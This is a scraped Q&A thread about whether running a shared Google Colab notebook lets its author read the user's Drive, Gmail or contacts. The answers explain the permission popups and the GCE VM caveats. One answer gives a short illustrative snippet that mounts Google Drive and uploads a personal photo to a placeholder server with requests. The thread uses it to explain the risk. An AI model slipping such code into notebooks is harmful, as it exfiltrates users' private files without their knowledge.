I am following an online tutorial and the tutor has provided a Google Colab notebook as a supplement. But whenever I run any of the cells from the notebook, I am getting a warning message as follows:
Warning: This notebook was not authored by Google. This notebook was authored by [email protected]. It may request access to your data stored with Google such as files, emails and contacts. Please review the source code and contact the creator of this notebook at [email protected] with any additional questions. Cancel Button. Run Anyway Button.
Does this mean that the author of Colab notebook can access my data such as files, emails, and contacts?
If yes, is there any way to block the author from accessing my data?
Warning message says that it may request access. Does it mean that if/when the notebook wants to access the data, it will ask me for the permission via a popup?
Warning message asks me to review the source code. But what exactly should I be looking for, in the source code?
I tried googling but didn't get any answer.
Thanks a lot in advance.
No one can access your own private Colab notebooks. And Google has the incentive to make it as safe as possible for their reputation. Because, they need to sell GCP to business.
Each person can access this notebook but if one person is working on it, no one else can see what that person is doing.
Simply click the Share button at the top right of any Colab notebook, or follow these Google Drive file sharing instructions. If you choose to share a notebook, the full contents of your notebook (text, code, output, and comments) will be shared.
TL;DR: Unless you explicitly allow access to your Google account, you can safely execute the notebook (except GCE VMs, which you might have already granted authority to access your data).
- Does this mean that the author of Colab notebook can access my data such as files, emails, and contacts?
Depending on the content of the notebook, yes.
Running a harmless snippet like print("hello, world!")
does not send any data to the author; after all, Colab is just an environment that runs Jupyter notebooks. However, if the cell contains some malicous code instead, an attacker may be able to access your data.
Colab has a set of features that enables Python scripts to access the user's data, namely their Google Drive's content. There are other APIs that expose your information, including your Gmail address and (theoretically) Contacts. The attacker could use these features to retrieve your data, then send them to their server with, say, the requests
library.
## If the user runs this cell, an image in their Google Drive will be
## sent to my server. Needs the user's authentication, though.
from google import drive
drive.mount("/gdrive") # a popup asking for permission will appear
with open("/gdrive/Google Photos/DSC_0001.JPG", "rb") as f:
requests.post("https://0.0.0.0/upload/", files={"files": f}, data={})
- If yes, is there any way to block the author from accessing my data?
- Warning message says that it may request access. Does it mean that if/when the notebook wants to access the data, it will ask me for the permission via a popup?
When you connect your notebook to a Google-hosted VM (by clicking "connect" on the top left of the window), the machine is not connected to your Google account; it requires your action for the notebook to access your data, either via popup window or token (in CLI). For example, when your notebook tries to mount your Google Drive to the VM (with drive.mount()
), you are asked whether to allow it in a popup.
Therefore, unless you give explicit permission to access data linked to your account, the attacker cannot retrieve it.
By the way, connecting to a GCE VM is a different story. Depending on how you set up your machine, you might be already logged in to your Google account on the VM. In this case you must be very cautious, since running one malicious cell is enough to compromise your information.
- Warning message asks me to review the source code. But what exactly should I be looking for, in the source code?
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With